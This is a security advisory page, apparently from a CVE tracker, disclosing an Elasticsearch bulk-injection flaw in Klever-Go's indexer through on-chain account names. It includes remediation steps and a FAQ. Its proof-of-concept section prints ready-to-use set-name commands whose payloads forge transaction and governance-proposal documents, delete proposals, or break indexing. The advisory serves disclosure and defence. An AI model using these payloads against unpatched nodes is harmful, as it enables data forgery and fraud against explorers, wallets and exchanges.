CVE-2026-82409: Klever-Go: Elasticsearch bulk / painless injection via on-chain account name -> explorer/indexer data forgery

Published Sep 23, 2026
·
Updated

Component: Elasticsearch indexer (indexer/) Primary location: indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) Entry point: SetAccountName native transaction (contract type 12) — core/process/transaction/txProcess.go:688

---

Description

When the node indexes account updates to Elasticsearch, it builds the ES bulk painless-script line by splicing the account's name directly into JSON with fmt.Sprintf("%s", ...) and no escaping:

go // indexer/common.go:2395-2407 (serializedDataForUpdateAccounts) serializedData := []byte(fmt.Sprintf({"script":{"source":"+ ctx.source.name = params.name; ... + ","lang": "painless","params":+ {"name": "%s", "nonce": %d, "rootHash": "%s", "balance": %d, ...}}}, acc.Name, acc.Nonce, acc.RootHash, acc.Balance, ...)) // acc.Name is RAW

acc.Name originates from on-chain account state: indexer/accountInfo.go:31 sets Name: string(userAccount.GetName()). An account name is fully attacker-controlled and only weakly validated when it is set on-chain by the SetAccountName handler:

go // core/kapp/accounts/accounts.go:1740 if !utf8.Valid(tc.GetName()) || len(tc.GetName()) > core.MaxNameSize { ... } // MaxNameSize = 100

The only constraints are valid UTF-8 and length ≤ 100 bytes. Double-quote ("), backslash (\), and newline (\n) are all valid UTF-8 and are not rejected. The safe helper converters.JsonEscape() exists and is used for id fields elsewhere in the same file (common.go:893, :932, :961) but is not applied to the name.

The resulting buffer is POSTed verbatim to Elasticsearch bulk by elasticClient.DoBulkRequest (indexer/elasticClient.go:128), with the index in the URL. The bulk body is NDJSON — newline-delimited action/source pairs (indexer/data/buffer.go:45 appends a \n after every entry). Therefore a name containing a quote and newlines can

- inject arbitrary keys/structure into the document, - break the batch, and - inject entirely new bulk operations targeting other documents and other indices.

SetAccountName is a first-class transaction contract type (= 12) dispatched natively at txProcess.go:688 via SetAccountName(tx.GetSender(), tc). The attacker names their own account with the payload in one ordinary signed transaction (normal fee, no contract deploy, no VM gas). (It is additionally exposed as a VM built-in KleverSetAccountName, but that path is not needed.)

The name is written into consensus account state (userAccount.SetName, data/state/userAccount.go:76) and replicated to all nodes. The indexer reads it from state, not from the transaction, during each node's own block processing (core/process/block/block.go:1141 SaveBlock / SaveAccounts). Consequently:

- The attacker does not need any access to the node running the indexer, the ES port, or validator status. One broadcast to the network is enough. - Indexers typically run on observer/gateway nodes that power the public explorer/API — exactly the realistic victim. - The payload is durable and replayable: a newly stood-up indexer, or a historical re-index (import-DB mode, cmd/node/startup.go:153), re-reads the name from state and re-fires the injection.

Escalation — from denial-of-indexing to arbitrary ES document CRUD

Elasticsearch bulk fails a malformed line differently by position: malformed action line → whole-batch HTTP 400 (nothing applies); malformed source line → per-item error (other items still apply). By appending a sacrificial action after the forged op, the serializer's fixed template tail (", "nonce":...}}}) lands in a source position (item-level error), so a clean forged op that precedes it is applied. This yields arbitrary create / overwrite / delete of documents in any index the indexer's ES credentials can write — cross-index via {"index":{"index":"...", "id":"..."}}.

Deployment amplifier (default ES config)

The Elasticsearch config klever ships (docker/elasticsearch/elasticsearch.yml, docker/docker-compose.yml) sets xpack.security.enabled: false, network.host: 0.0.0.0, publishes 9200:9200, and CORS with POST,PUT,DELETE. The node's default config/node/external.yaml connects with empty username/password. So the indexer writes to ES unauthenticated, and if ES is network-reachable it is itself fully open. Crucially, even when an operator firewalls ES to localhost, this injection is the remote bridge that reaches that private ES through the node's own trusted connection.

---

POC

The entire attack is a single SetAccountName transaction the attacker sends from any funded account, naming its own account with a crafted payload.

operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"transactions","id":"t"}}\n{"status":"success"}\n{"index":{}}'

This submits contract type 12 (SetAccountNameContract) with:

Name = "}}}⏎{"index":{"index":"transactions","id":"t"}}⏎{"status":"success"}⏎{"index":{}} (84 bytes ≤ MaxNameSize 100; ⏎ = literal \n. On-chain Name is []byte, i.e. base64 In19fQp7ImluZGV4Ijp7Il9pbmRleCI6InRyYW5zYWN0aW9ucyIsIl9pZCI6InQifX0KeyJzdGF0dXMiOiJzdWNjZXNzIn0KeyJpbmRleCI6e319.)

{ "update": { "index":"accounts", "id":"<attacker>" } } {"script":{ ... ,"params":{"name": ""}}} {"index":{"index":"transactions","id":"t"}} ← forged bulk action {"status":"success"} ← forged doc → written to transactions {"index":{}}", "nonce":1, ... }}} ← sacrificial op absorbs the template tail

Observed result: a forged document {"status":"success"} with id:"t" appears in the transactions index — the attacker never submitted any such transaction:

GET transactions/doc/t

{ "found": true, "source": { "status": "success" } }

Escalation variants — same delivery, only the Name changes

Each is a single SetAccountName tx sent the same way; only the payload differs.

Denial-of-indexing (2-byte name — breaks the batch, drops every co-batched account update): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name 'x"'

Cross-index write / forge a document (e.g. a governance proposal doc; 82 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"index":{"index":"proposals","id":"5"}}\n{"status":"approved"}\n{"index":{}}'

Delete a document (e.g. proposal id 5; 61 bytes): operator --node=http://<node>:8099 -k attacker.pem --sign account set-name \ $'"}}}\n{"delete":{"index":"proposals","id":"5"}}\n{"index":{}}'

---

Impact

A single, cheap, permissionless on-chain transaction (one tx fee; no contract, no special role, no access to the indexing host) lets an attacker inject into the Elasticsearch bulk stream of every node that indexes the chain now or in the future. Two tiers of impact:

1. Denial-of-indexing A name containing a single " or newline makes ES reject the whole bulk batch (HTTP 400). Because the indexer batches many accounts per bulk (up to 4 MB), every co-batched honest account's balance/name/nonce update is silently dropped → the explorer/API serves stale data. Repeatable every block.

2. Arbitrary document CRUD across all indexer indices (escalation). Using the sacrificial-op construction, the attacker can create/overwrite/delete documents in any klever index the indexer writes (transactions, blocks, accounts, proposals, assets, marketplaces, ...): forge "successful" transactions, rewrite balances, delete or rewrite blocks and governance proposals. Anyone trusting the ES-backed API , wallets, block explorers, or an exchange crediting deposits off indexer data can be fed fabricated records, enabling fraud (e.g. a forged status:success transaction).

Amplifiers: the payload is permanent replicated state, so it hits any current or future indexer and survives re-indexing; the attacker is fully decoupled from the victim indexer; and the shipped ES config is unauthenticated.

---

Recommendation

1. Escape the name . Never splice on-chain strings into JSON with fmt.Sprintf. Either apply the existing converters.JsonEscape() to acc.Name (mirror the id handling), or preferably build the entire bulk source with json.Marshal of a typed struct so no on-chain string can break the JSON/NDJSON structure. Audit every fmt.Sprintf-built bulk/script line in indexer/common.go for the same pattern (RootHash and other %s fields on this and nearby paths).

2. Restrict the on-chain account-name charset at SetAccountName (accounts.go:1740) reject control characters, quotes, and backslashes (or allow only a safe printable subset) as defense-in-depth. Gate any consensus-visible validation change behind an epoch fork flag.

Other sources

Klever-Go is the Go implementation of the Klever blockchain protocol. Prior to 1.7.20, indexer/common.go serializedDataForUpdateAccounts places the attacker-controlled acc.Name value into an Elasticsearch bulk JSON and NDJSON request without escaping it. The SetAccountName transaction accepts valid UTF-8 account names containing quotes, backslashes, and newlines, and the resulting name is stored in consensus account state. When an indexer processes the account, those characters can break the JSON string, reject a bulk batch, or inject additional bulk actions that create, overwrite, or delete documents in indices writable by the indexer. The persistent state value is replayed by new or historical indexers, and direct access to the indexing host or Elasticsearch port is not required. This issue is fixed in version 1.7.20.

MITRE

Affected Software

2 affected componentsFixes available
Klever Klever-Go<1.7.20
go/github.com/klever-io/klever-go<=1.7.19
1.7.20

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/klever-io/klever-go to a version that resolves this vulnerability.

    Fixed in 1.7.20
  2. Upgrade

    Upgrade Klever-Go to a version that resolves this vulnerability.

    Fixed in 1.7.20
  3. Configuration

    Restrict the on-chain account-name charset at SetAccountName; reject control characters, quotes, and backslashes. Gate this consensus-visible validation change behind an epoch fork flag.

    SetAccountName allowed account-name characters = Safe printable subset excluding control characters, double quotes, and backslashes
  4. Compensating control

    In indexer/common.go, JSON-escape acc.Name with converters.JsonEscape(), or preferably build the Elasticsearch bulk source with json.Marshal on a typed struct so on-chain account names cannot break the JSON/NDJSON structure.

Event History

Sep 23, 2026
CVE Published
via MITRE·07:23 PM
Data Sourced
via MITRE·07:23 PM
DescriptionWeakness
Data Sourced
via NVD·08:17 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·09:24 PM
Data Sourced
via GitHub·09:24 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed to this issue?

Klever-Go versions prior to 1.7.20 are affected when they run an indexer that processes account data and writes Elasticsearch bulk requests. The impact applies to Elasticsearch indices writable by that indexer.

2

What does an attacker need to exploit it?

An attacker needs to submit a SetAccountName transaction with a valid UTF-8 name containing characters such as quotes, backslashes, or newlines. They do not need direct access to the indexing host or the Elasticsearch port.

3

Can the malicious value affect newly deployed or historical indexers?

Yes. The account name is stored in consensus account state, so an affected value can be replayed when new or historical indexers process that account.

4

What can happen when an affected indexer processes a crafted account name?

The value can cause an Elasticsearch bulk batch to be rejected or can inject additional bulk actions. Those actions may create, overwrite, or delete documents in indices the indexer can write.

5

What is the available remediation?

Upgrade Klever-Go to version 1.7.20, which fixes the issue.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203